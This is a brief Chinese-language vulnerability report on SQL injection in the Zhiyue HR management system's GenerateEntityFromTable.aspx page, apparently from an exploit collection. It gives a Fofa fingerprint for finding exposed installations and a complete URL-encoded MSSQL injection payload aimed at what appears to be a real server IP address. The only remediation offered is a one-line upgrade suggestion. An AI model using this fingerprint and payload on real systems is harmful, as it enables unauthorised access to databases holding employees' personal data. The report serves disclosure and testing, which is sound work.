# 智跃人力资源管理系统 GenerateEntityFromTable.aspx SQL注入漏洞

## 漏洞描述

智跃人力资源管理系统是基于B/S网页端广域网平台，一套考勤系统即可对全国各地多个分公司进行统一管控，成本更低。信息共享更快。跨平台，跨电子设备。该系统存在SQL注入漏洞，攻击者可通过该漏洞获取数据库权限。

## 漏洞复现

1. Fofa

body="ZY.LOGO.64.png"



1. 部分界面如下

  
3、隐患url，验证如下

http://39.104.85.206:8899/resource/utils/GenerateEntityFromTable.aspx?t=1%27%2B(SELECT%20CHAR(103)%2BCHAR(87)%2BCHAR(114)%2BCHAR(112)%20WHERE%201669%3D1669%20AND%206492%20IN%20(select%20SUBSTRING(sys.fn\_sqlvarbasetostr(HASHBYTES(%27MD5%27,%271230%27)),3,32)))%2B%27



## 修复建议

1、升级到安全版本